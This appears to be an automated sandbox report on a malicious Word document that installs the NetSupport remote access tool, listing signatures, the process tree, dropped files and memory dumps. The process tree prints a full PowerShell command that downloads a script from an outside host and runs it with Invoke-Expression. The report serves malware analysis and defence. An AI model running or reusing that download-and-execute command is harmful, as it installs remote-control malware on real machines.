Analysis
- max time kernel
204s - max time network
208s - platform
windows11-21h2_x64 - resource
win11-20240221-en - resource tags
- submitted
15/03/2024, 09:51
General
- Target RECH17321732_9e5ae629d707dac3d5517e7b2c0b05146fe4fdc0_f3e673ac82dd560f7e8de3126a1d027384a77c29.docx
- Size 124KB
- Sample240315-lvvmhafe64
- SHA256 48268799a991b32bb31b6d249931e2530c9095e2df65c4a765ea73c9fba208aa
Malware Config
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 2 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- NTFS ADS 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RECH17321732_9e5ae629d707dac3d5517e7b2c0b05146fe4fdc0_f3e673ac82dd560f7e8de3126a1d027384a77c29.docx" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\system32\verclsid.exe"C:\Windows\system32\verclsid.exe" /S /C {E88DCCE0-B7B3-11D1-A9F0-00AA0060FA31} /I {00000112-0000-0000-C000-000000000046} /X 0x52⤵
- Process spawned unexpected child process
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command (Invoke-WebRequest -Uri 'https://tafrihafashion.com/boondle.txt' -UseBasicParsing).Content | Invoke-Expression1⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Sch_Cache\client32.exe"C:\Users\Admin\AppData\Roaming\Sch_Cache\client32.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
7002D8A4.emf
__PSScriptPolicyTest_zomql3vy.o1b.ps1
RECH17321732.zip
ExcludeDictionaryEN0409.lex
HTCTL32.DLL
NSM.LIC
PCICAPI.dll
PCICL32.DLL
PCICL32.dll
client32.exe
client32.ini
msvcr100.dll
pcichek.dll
memory/2132-109-0x0000021DC07B0000-0x0000021DC07C0000-memory.dmp
memory/2132-111-0x0000021DC07B0000-0x0000021DC07C0000-memory.dmp
memory/2132-110-0x00007FFFB2F10000-0x00007FFFB39D2000-memory.dmp
memory/2132-162-0x00007FFFB2F10000-0x00007FFFB39D2000-memory.dmp
memory/2132-108-0x0000021DC07B0000-0x0000021DC07C0000-memory.dmp
memory/2132-112-0x0000021DC07B0000-0x0000021DC07C0000-memory.dmp
memory/2132-107-0x00007FFFB2F10000-0x00007FFFB39D2000-memory.dmp
memory/2132-98-0x0000021DC07C0000-0x0000021DC07E2000-memory.dmp
memory/2132-114-0x0000021DE0F60000-0x0000021DE0F72000-memory.dmp
memory/2132-115-0x0000021DD8C30000-0x0000021DD8C3A000-memory.dmp
memory/2760-11-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp
memory/2760-47-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp
memory/2760-46-0x00007FFFE1EF0000-0x00007FFFE1FAD000-memory.dmp
memory/2760-45-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp
memory/2760-37-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp
memory/2760-36-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp
memory/2760-17-0x00007FFF9FF30000-0x00007FFF9FF40000-memory.dmp
memory/2760-16-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp
memory/2760-15-0x00007FFFE1EF0000-0x00007FFFE1FAD000-memory.dmp
memory/2760-14-0x00007FFF9FF30000-0x00007FFF9FF40000-memory.dmp
memory/2760-13-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp
memory/2760-12-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp
memory/2760-0-0x00007FFFA2570000-0x00007FFFA2580000-memory.dmp
memory/2760-10-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp
memory/2760-9-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp
memory/2760-8-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp
memory/2760-5-0x00007FFFA2570000-0x00007FFFA2580000-memory.dmp
memory/2760-7-0x00007FFFA2570000-0x00007FFFA2580000-memory.dmp
memory/2760-6-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp
memory/2760-1-0x00007FFFA2570000-0x00007FFFA2580000-memory.dmp
memory/2760-3-0x00007FFFA2570000-0x00007FFFA2580000-memory.dmp
memory/2760-4-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp
memory/2760-2-0x00007FFFE24E0000-0x00007FFFE26E9000-memory.dmp